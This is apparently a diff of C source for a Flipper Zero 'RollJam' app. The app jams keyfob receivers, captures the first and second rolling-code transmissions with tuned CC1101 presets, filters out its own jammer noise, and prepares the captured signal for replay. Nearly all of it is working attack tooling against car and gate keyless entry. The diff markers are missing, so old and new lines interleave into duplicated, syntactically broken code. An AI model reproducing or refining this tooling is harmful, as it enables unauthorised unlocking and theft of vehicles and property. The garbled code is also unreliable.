CC_FOCCFG, 0x18,
|
||||
CC_AGCCTRL0, 0x91,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_WORCTRL, 0xFB,
|
||||
CC_FREND0, 0x11,
|
||||
CC_FSCAL3, 0xEA,
|
||||
CC_FSCAL2, 0x2A,
|
||||
CC_FSCAL1, 0x00,
|
||||
CC_FSCAL0, 0x1F,
|
||||
0x00, 0x00
|
||||
CC_FREND1, 0xB6,
|
||||
0x00, 0x00,
|
||||
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
static const uint8_t preset_fsk_rx[] = {
|
||||
// OOK 270kHz
|
||||
static const uint8_t preset_ook_270_async[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x47,
|
||||
CC_MDMCFG4, 0xE7,
|
||||
CC_MDMCFG3, 0x32,
|
||||
CC_MDMCFG2, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_PKTCTRL0, 0x32,
|
||||
CC_FSCTRL1, 0x06,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG2, 0x30,
|
||||
CC_MDMCFG3, 0x32,
|
||||
CC_MDMCFG4, 0x67,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x18,
|
||||
CC_AGCCTRL0, 0x40,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL2, 0x03,
|
||||
CC_WORCTRL, 0xFB,
|
||||
CC_FREND0, 0x11,
|
||||
CC_FREND1, 0xB6,
|
||||
0x00, 0x00,
|
||||
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
// 2FSK Dev 2.38kHz
|
||||
static const uint8_t preset_2fsk_238_async[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x47,
|
||||
CC_PKTCTRL0, 0x32,
|
||||
CC_FSCTRL1, 0x06,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG2, 0x00,
|
||||
CC_MDMCFG3, 0x75,
|
||||
CC_MDMCFG4, 0x57,
|
||||
CC_DEVIATN, 0x15,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x16,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL0, 0x91,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_WORCTRL, 0xFB,
|
||||
CC_FREND0, 0x10,
|
||||
CC_FSCAL3, 0xEA,
|
||||
CC_FSCAL2, 0x2A,
|
||||
CC_FSCAL1, 0x00,
|
||||
CC_FSCAL0, 0x1F,
|
||||
0x00, 0x00
|
||||
CC_FREND1, 0xB6,
|
||||
0x00, 0x00,
|
||||
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
static const uint8_t preset_ook_tx[] = {
|
||||
// 2FSK Dev 47.6kHz
|
||||
static const uint8_t preset_2fsk_476_async[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x47,
|
||||
CC_MDMCFG4, 0x8C,
|
||||
CC_MDMCFG3, 0x32,
|
||||
CC_MDMCFG2, 0x30,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_PKTCTRL0, 0x32,
|
||||
CC_FSCTRL1, 0x06,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG2, 0x00,
|
||||
CC_MDMCFG3, 0x75,
|
||||
CC_MDMCFG4, 0x57,
|
||||
CC_DEVIATN, 0x47,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x16,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL0, 0x91,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_WORCTRL, 0xFB,
|
||||
CC_FREND0, 0x10,
|
||||
CC_FREND1, 0xB6,
|
||||
0x00, 0x00,
|
||||
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
// TX OOK
|
||||
static const uint8_t preset_ook_tx[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x07,
|
||||
CC_PKTCTRL0, 0x32,
|
||||
CC_FSCTRL1, 0x06,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG2, 0x30,
|
||||
CC_MDMCFG3, 0x32,
|
||||
CC_MDMCFG4, 0x17,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x18,
|
||||
CC_AGCCTRL0, 0x91,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_WORCTRL, 0xFB,
|
||||
CC_FREND0, 0x11,
|
||||
CC_FSCAL3, 0xEA,
|
||||
CC_FSCAL2, 0x2A,
|
||||
CC_FSCAL1, 0x00,
|
||||
CC_FSCAL0, 0x1F,
|
||||
0x00, 0x00
|
||||
CC_FREND1, 0xB6,
|
||||
0x00, 0x00,
|
||||
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
static const uint8_t preset_fsk_tx_238[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x47,
|
||||
CC_MDMCFG4, 0x8C,
|
||||
CC_MDMCFG3, 0x32,
|
||||
CC_MDMCFG2, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_PKTCTRL0, 0x32,
|
||||
CC_FSCTRL1, 0x06,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG2, 0x00,
|
||||
CC_MDMCFG3, 0x75,
|
||||
CC_MDMCFG4, 0x57,
|
||||
CC_DEVIATN, 0x15,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x16,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL0, 0x91,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_WORCTRL, 0xFB,
|
||||
CC_FREND0, 0x10,
|
||||
CC_FSCAL3, 0xEA,
|
||||
CC_FSCAL2, 0x2A,
|
||||
CC_FSCAL1, 0x00,
|
||||
CC_FSCAL0, 0x1F,
|
||||
0x00, 0x00
|
||||
CC_FREND1, 0xB6,
|
||||
0x00, 0x00,
|
||||
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
static const uint8_t preset_fsk_tx_476[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x47,
|
||||
CC_MDMCFG4, 0x8C,
|
||||
CC_MDMCFG3, 0x32,
|
||||
CC_MDMCFG2, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_PKTCTRL0, 0x32,
|
||||
CC_FSCTRL1, 0x06,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG2, 0x00,
|
||||
CC_MDMCFG3, 0x75,
|
||||
CC_MDMCFG4, 0x57,
|
||||
CC_DEVIATN, 0x47,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x16,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL0, 0x91,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_WORCTRL, 0xFB,
|
||||
CC_FREND0, 0x10,
|
||||
CC_FSCAL3, 0xEA,
|
||||
CC_FSCAL2, 0x2A,
|
||||
CC_FSCAL1, 0x00,
|
||||
CC_FSCAL0, 0x1F,
|
||||
0x00, 0x00
|
||||
CC_FREND1, 0xB6,
|
||||
0x00, 0x00,
|
||||
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
// ============================================================
|
||||
// Capture state machine
|
||||
// ============================================================
|
||||
|
||||
#define MIN_PULSE_US 50
|
||||
#define MAX_PULSE_US 32767 // int16_t max — covers all keyfob pulse widths
|
||||
#define SILENCE_GAP_US 50000 // 50ms gap = real end of frame for all keyfob types
|
||||
#define MIN_FRAME_PULSES 20 // Some keyfobs have short frames
|
||||
#define AUTO_ACCEPT_PULSES 300 // Need more pulses before auto-accept
|
||||
#define MIN_PULSE_US 100
|
||||
#define MAX_PULSE_US 32767
|
||||
#define SILENCE_GAP_US 50000
|
||||
#define MIN_FRAME_PULSES 40
|
||||
#define AUTO_ACCEPT_PULSES 300
|
||||
#define MAX_CONTINUOUS_SAMPLES 800
|
||||
|
||||
// Tolerance for jammer pattern detection (microseconds)
|
||||
#define JAM_PATTERN_TOLERANCE 120
|
||||
|
||||
static bool rolljam_is_jammer_pattern(RawSignal* s) {
|
||||
static bool rolljam_is_jammer_pattern_mod(RawSignal* s, uint8_t mod_index) {
|
||||
if(s->size < 20) return false;
|
||||
int16_t first = s->data[0];
|
||||
int16_t abs_first = first > 0 ? first : -first;
|
||||
int matches = 0;
|
||||
|
||||
// Calcular estadísticas una sola vez
|
||||
int16_t max_abs = 0;
|
||||
int64_t sum = 0;
|
||||
for(size_t i = 0; i < s->size; i++) {
|
||||
int16_t val = s->data[i];
|
||||
int16_t abs_val = val > 0 ? val : -val;
|
||||
int diff = abs_val - abs_first;
|
||||
if(diff < 0) diff = -diff;
|
||||
if(diff < JAM_PATTERN_TOLERANCE) {
|
||||
matches++;
|
||||
int16_t v = s->data[i] > 0 ? s->data[i] : -s->data[i];
|
||||
if(v > max_abs) max_abs = v;
|
||||
sum += v;
|
||||
}
|
||||
int32_t mean = (int32_t)(sum / (int64_t)s->size);
|
||||
|
||||
FURI_LOG_D(TAG, "JamCheck: mod=%d max=%d mean=%ld size=%d",
|
||||
mod_index, max_abs, mean, (int)s->size);
|
||||
|
||||
if(mod_index == 2 || mod_index == 3) { // ModIndex_FM238=2, FM476=3
|
||||
if((int)s->size < 120) {
|
||||
FURI_LOG_W(TAG, "Jammer FSK rechazado: size=%d < 120", (int)s->size);
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
if(max_abs < 25000) {
|
||||
FURI_LOG_W(TAG, "Jammer AM650 rechazado: max=%d < 25000", max_abs);
|
||||
return true;
|
||||
}
|
||||
|
||||
if(mod_index == 1) { // ModIndex_AM270=1
|
||||
if(mean < 3000) {
|
||||
FURI_LOG_W(TAG, "Jammer AM270 rechazado: mean=%ld < 3000 (max=%d)", mean, max_abs);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return (matches > (int)(s->size * 8 / 10));
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
|
||||
#define MIN_VARIANCE 2000
|
||||
|
||||
static bool rolljam_has_sufficient_variance(RawSignal* s) {
|
||||
if(s->size < 20) return false;
|
||||
|
||||
int64_t sum = 0;
|
||||
for(size_t i = 0; i < s->size; i++) {
|
||||
int16_t val = s->data[i];
|
||||
sum += (val > 0) ? val : -val;
|
||||
}
|
||||
int32_t mean = (int32_t)(sum / (int64_t)s->size);
|
||||
|
||||
int64_t var_sum = 0;
|
||||
for(size_t i = 0; i < s->size; i++) {
|
||||
int16_t val = s->data[i];
|
||||
int32_t abs_val = (val > 0) ? val : -val;
|
||||
int32_t diff = abs_val - mean;
|
||||
var_sum += (int64_t)diff * diff;
|
||||
}
|
||||
int32_t variance = (int32_t)(var_sum / (int64_t)s->size);
|
||||
|
||||
bool has_var = (variance > MIN_VARIANCE);
|
||||
FURI_LOG_I(TAG, "Variance: mean=%ld var=%ld %s",
|
||||
mean, variance, has_var ? "PASS" : "FAIL");
|
||||
return has_var;
|
||||
}
|
||||
|
||||
typedef enum {
|
||||
@@ -171,90 +275,101 @@ typedef enum {
|
||||
CapDone,
|
||||
} CapState;
|
||||
|
||||
static volatile CapState cap_state;
|
||||
static volatile int cap_valid_count;
|
||||
static volatile int cap_total_count;
|
||||
static volatile bool cap_target_first;
|
||||
static volatile uint32_t cap_callback_count;
|
||||
static volatile float cap_rssi_baseline;
|
||||
typedef struct {
|
||||
volatile CapState state;
|
||||
volatile int valid_count;
|
||||
volatile int total_count;
|
||||
volatile bool target_first;
|
||||
volatile uint32_t callback_count;
|
||||
volatile uint32_t continuous_count;
|
||||
float rssi_baseline;
|
||||
uint8_t mod_index;
|
||||
} CapCtx;
|
||||
|
||||
static CapCtx g_cap;
|
||||
|
||||
static void cap_ctx_reset(CapCtx* c) {
|
||||
c->state = CapWaiting;
|
||||
c->valid_count = 0;
|
||||
c->total_count = 0;
|
||||
c->callback_count = 0;
|
||||
c->continuous_count = 0;
|
||||
}
|
||||
|
||||
static void capture_rx_callback(bool level, uint32_t duration, void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(!app->raw_capture_active) return;
|
||||
if(cap_state == CapDone) return;
|
||||
if(g_cap.state == CapDone) return;
|
||||
|
||||
cap_callback_count++;
|
||||
g_cap.callback_count++;
|
||||
|
||||
RawSignal* target;
|
||||
if(cap_target_first) {
|
||||
target = &app->signal_first;
|
||||
if(target->valid) return;
|
||||
} else {
|
||||
target = &app->signal_second;
|
||||
if(target->valid) return;
|
||||
}
|
||||
RawSignal* target = g_cap.target_first ? &app->signal_first : &app->signal_second;
|
||||
if(target->valid) return;
|
||||
|
||||
uint32_t dur = duration;
|
||||
// Check silence gap BEFORE clamping so 50ms gaps are detected correctly
|
||||
// Clamp only affects stored sample value, not gap detection
|
||||
bool is_silence = (dur > SILENCE_GAP_US);
|
||||
bool is_silence = (dur > SILENCE_GAP_US);
|
||||
bool is_medium_gap = (dur > 5000 && dur <= SILENCE_GAP_US);
|
||||
if(dur > 32767) dur = 32767;
|
||||
|
||||
switch(cap_state) {
|
||||
switch(g_cap.state) {
|
||||
case CapWaiting:
|
||||
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
|
||||
target->size = 0;
|
||||
cap_valid_count = 0;
|
||||
cap_total_count = 0;
|
||||
cap_state = CapRecording;
|
||||
|
||||
g_cap.continuous_count = 0;
|
||||
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US && !is_silence) {
|
||||
target->size = 0;
|
||||
g_cap.valid_count = 0;
|
||||
g_cap.total_count = 0;
|
||||
g_cap.state = CapRecording;
|
||||
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
|
||||
target->data[target->size++] = s;
|
||||
cap_valid_count++;
|
||||
cap_total_count++;
|
||||
g_cap.valid_count++;
|
||||
g_cap.total_count++;
|
||||
g_cap.continuous_count = 1;
|
||||
}
|
||||
break;
|
||||
|
||||
case CapRecording:
|
||||
g_cap.continuous_count++;
|
||||
|
||||
if(g_cap.continuous_count > MAX_CONTINUOUS_SAMPLES && !is_medium_gap && !is_silence) {
|
||||
target->size = 0;
|
||||
cap_ctx_reset(&g_cap);
|
||||
return;
|
||||
}
|
||||
|
||||
if(target->size >= RAW_SIGNAL_MAX_SIZE) {
|
||||
if(cap_valid_count >= MIN_FRAME_PULSES) {
|
||||
cap_state = CapDone;
|
||||
} else {
|
||||
g_cap.state = (g_cap.valid_count >= MIN_FRAME_PULSES) ? CapDone : CapWaiting;
|
||||
if(g_cap.state == CapWaiting) {
|
||||
target->size = 0;
|
||||
cap_valid_count = 0;
|
||||
cap_total_count = 0;
|
||||
cap_state = CapWaiting;
|
||||
g_cap.valid_count = 0;
|
||||
g_cap.total_count = 0;
|
||||
g_cap.continuous_count = 0;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if(is_silence) {
|
||||
if(cap_valid_count >= MIN_FRAME_PULSES) {
|
||||
if(target->size < RAW_SIGNAL_MAX_SIZE) {
|
||||
int16_t s = level ? (int16_t)32767 : -32767;
|
||||
target->data[target->size++] = s;
|
||||
}
|
||||
cap_state = CapDone;
|
||||
if(g_cap.valid_count >= MIN_FRAME_PULSES) {
|
||||
if(target->size < RAW_SIGNAL_MAX_SIZE)
|
||||
target->data[target->size++] = level ? (int16_t)32767 : -32767;
|
||||
g_cap.state = CapDone;
|
||||
} else {
|
||||
target->size = 0;
|
||||
cap_valid_count = 0;
|
||||
cap_total_count = 0;
|
||||
cap_state = CapWaiting;
|
||||
cap_ctx_reset(&g_cap);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if(is_medium_gap) g_cap.continuous_count = 0;
|
||||
|
||||
{
|
||||
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
|
||||
target->data[target->size++] = s;
|
||||
cap_total_count++;
|
||||
|
||||
g_cap.total_count++;
|
||||
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
|
||||
cap_valid_count++;
|
||||
if(cap_valid_count >= AUTO_ACCEPT_PULSES) {
|
||||
cap_state = CapDone;
|
||||
}
|
||||
g_cap.valid_count++;
|
||||
if(g_cap.valid_count >= AUTO_ACCEPT_PULSES)
|
||||
g_cap.state = CapDone;
|
||||
}
|
||||
}
|
||||
break;
|
||||
@@ -269,64 +384,51 @@ static void capture_rx_callback(bool level, uint32_t duration, void* context) {
|
||||
// ============================================================
|
||||
|
||||
void rolljam_capture_start(RollJamApp* app) {
|
||||
FURI_LOG_I(TAG, "Capture start: freq=%lu mod=%d", app->frequency, app->mod_index);
|
||||
FURI_LOG_I(TAG, "Capture start: freq=%lu mod=%d offset=%lu",
|
||||
app->frequency, app->mod_index, app->jam_offset_hz);
|
||||
|
||||
// Full radio reset sequence
|
||||
furi_hal_subghz_reset();
|
||||
furi_delay_ms(10);
|
||||
furi_hal_subghz_idle();
|
||||
furi_delay_ms(10);
|
||||
|
||||
const uint8_t* preset;
|
||||
const uint8_t* src_preset;
|
||||
switch(app->mod_index) {
|
||||
case ModIndex_FM238:
|
||||
case ModIndex_FM476:
|
||||
preset = preset_fsk_rx;
|
||||
break;
|
||||
default:
|
||||
preset = preset_ook_rx;
|
||||
break;
|
||||
case ModIndex_AM270: src_preset = preset_ook_270_async; break;
|
||||
case ModIndex_FM238: src_preset = preset_2fsk_238_async; break;
|
||||
case ModIndex_FM476: src_preset = preset_2fsk_476_async; break;
|
||||
default: src_preset = preset_ook_650_async; break;
|
||||
}
|
||||
|
||||
furi_hal_subghz_load_custom_preset(preset);
|
||||
furi_hal_subghz_load_custom_preset(src_preset);
|
||||
furi_delay_ms(5);
|
||||
|
||||
uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency);
|
||||
FURI_LOG_I(TAG, "Capture: freq set to %lu", real_freq);
|
||||
|
||||
uint32_t real_freq = furi_hal_subghz_set_frequency_and_path(app->frequency);
|
||||
FURI_LOG_I(TAG, "Capture: freq=%lu (requested %lu)", real_freq, app->frequency);
|
||||
furi_delay_ms(5);
|
||||
|
||||
furi_hal_subghz_rx();
|
||||
furi_delay_ms(50);
|
||||
cap_rssi_baseline = furi_hal_subghz_get_rssi();
|
||||
float rssi_baseline = furi_hal_subghz_get_rssi();
|
||||
g_cap.rssi_baseline = rssi_baseline;
|
||||
FURI_LOG_I(TAG, "Capture: RSSI baseline=%.1f dBm", (double)rssi_baseline);
|
||||
|
||||
furi_hal_subghz_idle();
|
||||
furi_delay_ms(5);
|
||||
FURI_LOG_I(TAG, "Capture: RSSI baseline=%.1f dBm", (double)cap_rssi_baseline);
|
||||
|
||||
cap_state = CapWaiting;
|
||||
cap_valid_count = 0;
|
||||
cap_total_count = 0;
|
||||
cap_callback_count = 0;
|
||||
cap_ctx_reset(&g_cap);
|
||||
|
||||
// Determine target
|
||||
if(!app->signal_first.valid) {
|
||||
cap_target_first = true;
|
||||
app->signal_first.size = 0;
|
||||
g_cap.target_first = true;
|
||||
app->signal_first.size = 0;
|
||||
app->signal_first.valid = false;
|
||||
FURI_LOG_I(TAG, "Capture target: FIRST signal");
|
||||
} else {
|
||||
cap_target_first = false;
|
||||
app->signal_second.size = 0;
|
||||
g_cap.target_first = false;
|
||||
app->signal_second.size = 0;
|
||||
app->signal_second.valid = false;
|
||||
FURI_LOG_I(TAG, "Capture target: SECOND signal (first already valid, size=%d)",
|
||||
app->signal_first.size);
|
||||
FURI_LOG_I(TAG, "Capture target: SECOND signal");
|
||||
}
|
||||
|
||||
g_cap.mod_index = app->mod_index;
|
||||
app->raw_capture_active = true;
|
||||
furi_hal_subghz_start_async_rx(capture_rx_callback, app);
|
||||
|
||||
FURI_LOG_I(TAG, "Capture: RX STARTED, active=%d, target_first=%d",
|
||||
app->raw_capture_active, cap_target_first);
|
||||
FURI_LOG_I(TAG, "Capture: RX STARTED");
|
||||
}
|
||||
|
||||
void rolljam_capture_stop(RollJamApp* app) {
|
||||
@@ -334,16 +436,11 @@ void rolljam_capture_stop(RollJamApp* app) {
|
||||
FURI_LOG_W(TAG, "Capture stop: was not active");
|
||||
return;
|
||||
}
|
||||
|
||||
app->raw_capture_active = false;
|
||||
|
||||
furi_hal_subghz_stop_async_rx();
|
||||
furi_delay_ms(5);
|
||||
furi_hal_subghz_idle();
|
||||
furi_delay_ms(5);
|
||||
|
||||
FURI_LOG_I(TAG, "Capture stopped. callbacks=%lu capState=%d validCnt=%d totalCnt=%d",
|
||||
cap_callback_count, cap_state, cap_valid_count, cap_total_count);
|
||||
FURI_LOG_I(TAG, "Capture stopped. cb=%lu state=%d valid=%d total=%d",
|
||||
g_cap.callback_count, g_cap.state, g_cap.valid_count, g_cap.total_count);
|
||||
FURI_LOG_I(TAG, " Sig1: size=%d valid=%d", app->signal_first.size, app->signal_first.valid);
|
||||
FURI_LOG_I(TAG, " Sig2: size=%d valid=%d", app->signal_second.size, app->signal_second.valid);
|
||||
}
|
||||
@@ -353,64 +450,46 @@ void rolljam_capture_stop(RollJamApp* app) {
|
||||
// ============================================================
|
||||
|
||||
bool rolljam_signal_is_valid(RawSignal* signal) {
|
||||
if(cap_state != CapDone) {
|
||||
// Log every few checks so we can see if callbacks are happening
|
||||
if(g_cap.state != CapDone) {
|
||||
static int check_count = 0;
|
||||
check_count++;
|
||||
if(check_count % 10 == 0) {
|
||||
FURI_LOG_D(TAG, "Validate: not done yet, state=%d callbacks=%lu valid=%d total=%d sig_size=%d",
|
||||
cap_state, cap_callback_count, cap_valid_count, cap_total_count, signal->size);
|
||||
}
|
||||
if(check_count % 10 == 0)
|
||||
FURI_LOG_D(TAG, "Validate: state=%d cb=%lu valid=%d total=%d size=%d",
|
||||
g_cap.state, g_cap.callback_count,
|
||||
g_cap.valid_count, g_cap.total_count, (int)signal->size);
|
||||
return false;
|
||||
}
|
||||
|
||||
if(signal->size < MIN_FRAME_PULSES) return false;
|
||||
if(signal->size < (size_t)MIN_FRAME_PULSES) return false;
|
||||
|
||||
// Reject jammer noise: if signal is uniform amplitude, it's our own jam
|
||||
if(rolljam_is_jammer_pattern(signal)) {
|
||||
FURI_LOG_W(TAG, "Jammer noise ignored (size=%d)", signal->size);
|
||||
if(rolljam_is_jammer_pattern_mod(signal, g_cap.mod_index)) {
|
||||
signal->size = 0;
|
||||
cap_state = CapWaiting;
|
||||
cap_valid_count = 0;
|
||||
cap_total_count = 0;
|
||||
cap_ctx_reset(&g_cap);
|
||||
return false;
|
||||
}
|
||||
|
||||
int good = 0;
|
||||
int total = (int)signal->size;
|
||||
|
||||
for(int i = 0; i < total; i++) {
|
||||
int16_t val = signal->data[i];
|
||||
int16_t abs_val = val > 0 ? val : -val;
|
||||
if((int32_t)abs_val >= MIN_PULSE_US) { // upper bound = clamp at 32767
|
||||
good++;
|
||||
}
|
||||
if(!rolljam_has_sufficient_variance(signal)) {
|
||||
signal->size = 0;
|
||||
cap_ctx_reset(&g_cap);
|
||||
return false;
|
||||
}
|
||||
|
||||
int good = 0;
|
||||
int total = (int)signal->size;
|
||||
for(int i = 0; i < total; i++) {
|
||||
int16_t abs_val = signal->data[i] > 0 ? signal->data[i] : -signal->data[i];
|
||||
if(abs_val >= MIN_PULSE_US) good++;
|
||||
}
|
||||
int ratio_pct = (total > 0) ? ((good * 100) / total) : 0;
|
||||
|
||||
if(ratio_pct > 50 && good >= MIN_FRAME_PULSES) {
|
||||
float rssi = furi_hal_subghz_get_rssi();
|
||||
float rssi_delta = rssi - cap_rssi_baseline;
|
||||
FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) samples=%d rssi=%.1f delta=%.1f",
|
||||
good, total, ratio_pct, total, (double)rssi, (double)rssi_delta);
|
||||
if(rssi_delta < 5.0f && rssi < -85.0f) {
|
||||
FURI_LOG_W(TAG, "Signal rejected: RSSI too low (%.1f dBm, delta=%.1f)",
|
||||
(double)rssi, (double)rssi_delta);
|
||||
signal->size = 0;
|
||||
cap_state = CapWaiting;
|
||||
cap_valid_count = 0;
|
||||
cap_total_count = 0;
|
||||
return false;
|
||||
}
|
||||
FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) size=%d", good, total, ratio_pct, total);
|
||||
return true;
|
||||
}
|
||||
|
||||
FURI_LOG_D(TAG, "Signal rejected: %d/%d (%d%%), reset", good, total, ratio_pct);
|
||||
FURI_LOG_D(TAG, "Signal rejected: %d/%d (%d%%)", good, total, ratio_pct);
|
||||
signal->size = 0;
|
||||
cap_state = CapWaiting;
|
||||
cap_valid_count = 0;
|
||||
cap_total_count = 0;
|
||||
cap_ctx_reset(&g_cap);
|
||||
return false;
|
||||
}
|
||||
|
||||
@@ -419,7 +498,7 @@ bool rolljam_signal_is_valid(RawSignal* signal) {
|
||||
// ============================================================
|
||||
|
||||
void rolljam_signal_cleanup(RawSignal* signal) {
|
||||
if(signal->size < MIN_FRAME_PULSES) return;
|
||||
if(signal->size < (size_t)MIN_FRAME_PULSES) return;
|
||||
|
||||
int16_t* cleaned = malloc(RAW_SIGNAL_MAX_SIZE * sizeof(int16_t));
|
||||
if(!cleaned) return;
|
||||
@@ -427,22 +506,21 @@ void rolljam_signal_cleanup(RawSignal* signal) {
|
||||
|
||||
size_t start = 0;
|
||||
while(start < signal->size) {
|
||||
int16_t val = signal->data[start];
|
||||
int16_t abs_val = val > 0 ? val : -val;
|
||||
int16_t abs_val = signal->data[start] > 0 ? signal->data[start] : -signal->data[start];
|
||||
if(abs_val >= MIN_PULSE_US) break;
|
||||
start++;
|
||||
}
|
||||
|
||||
for(size_t i = start; i < signal->size; i++) {
|
||||
int16_t val = signal->data[i];
|
||||
int16_t abs_val = val > 0 ? val : -val;
|
||||
bool is_positive = val > 0;
|
||||
int16_t val = signal->data[i];
|
||||
int16_t abs_val = val > 0 ? val : -val;
|
||||
bool is_positive = (val > 0);
|
||||
|
||||
if(abs_val < MIN_PULSE_US) {
|
||||
if(out > 0) {
|
||||
int16_t prev = cleaned[out - 1];
|
||||
bool prev_positive = prev > 0;
|
||||
int16_t prev_abs = prev > 0 ? prev : -prev;
|
||||
int16_t prev = cleaned[out - 1];
|
||||
bool prev_positive = (prev > 0);
|
||||
int16_t prev_abs = prev > 0 ? prev : -prev;
|
||||
if(prev_positive == is_positive) {
|
||||
int32_t merged = (int32_t)prev_abs + abs_val;
|
||||
if(merged > 32767) merged = 32767;
|
||||
@@ -455,27 +533,23 @@ void rolljam_signal_cleanup(RawSignal* signal) {
|
||||
int32_t q = ((abs_val + 50) / 100) * 100;
|
||||
if(q < MIN_PULSE_US) q = MIN_PULSE_US;
|
||||
if(q > 32767) q = 32767;
|
||||
int16_t quantized = (int16_t)q;
|
||||
|
||||
if(out < RAW_SIGNAL_MAX_SIZE) {
|
||||
cleaned[out++] = is_positive ? quantized : -quantized;
|
||||
}
|
||||
if(out < RAW_SIGNAL_MAX_SIZE)
|
||||
cleaned[out++] = is_positive ? (int16_t)q : -(int16_t)q;
|
||||
}
|
||||
|
||||
while(out > 0) {
|
||||
int16_t last = cleaned[out - 1];
|
||||
int16_t abs_last = last > 0 ? last : -last;
|
||||
int16_t abs_last = cleaned[out-1] > 0 ? cleaned[out-1] : -cleaned[out-1];
|
||||
if(abs_last >= MIN_PULSE_US && abs_last < 32767) break;
|
||||
out--;
|
||||
}
|
||||
|
||||
if(out >= MIN_FRAME_PULSES) {
|
||||
if(out >= (size_t)MIN_FRAME_PULSES) {
|
||||
size_t orig = signal->size;
|
||||
memcpy(signal->data, cleaned, out * sizeof(int16_t));
|
||||
signal->size = out;
|
||||
FURI_LOG_I(TAG, "Cleanup: %d -> %d samples", (int)orig, (int)out);
|
||||
}
|
||||
|
||||
free(cleaned);
|
||||
}
|
||||
|
||||
@@ -484,8 +558,8 @@ void rolljam_signal_cleanup(RawSignal* signal) {
|
||||
// ============================================================
|
||||
|
||||
typedef struct {
|
||||
const int16_t* data;
|
||||
size_t size;
|
||||
const int16_t* data;
|
||||
size_t size;
|
||||
volatile size_t index;
|
||||
} TxCtx;
|
||||
|
||||
@@ -494,11 +568,9 @@ static TxCtx g_tx;
|
||||
static LevelDuration tx_feed(void* context) {
|
||||
UNUSED(context);
|
||||
if(g_tx.index >= g_tx.size) return level_duration_reset();
|
||||
|
||||
int16_t sample = g_tx.data[g_tx.index++];
|
||||
bool level = (sample > 0);
|
||||
uint32_t dur = (uint32_t)(sample > 0 ? sample : -sample);
|
||||
|
||||
bool level = (sample > 0);
|
||||
uint32_t dur = (uint32_t)(sample > 0 ? sample : -sample);
|
||||
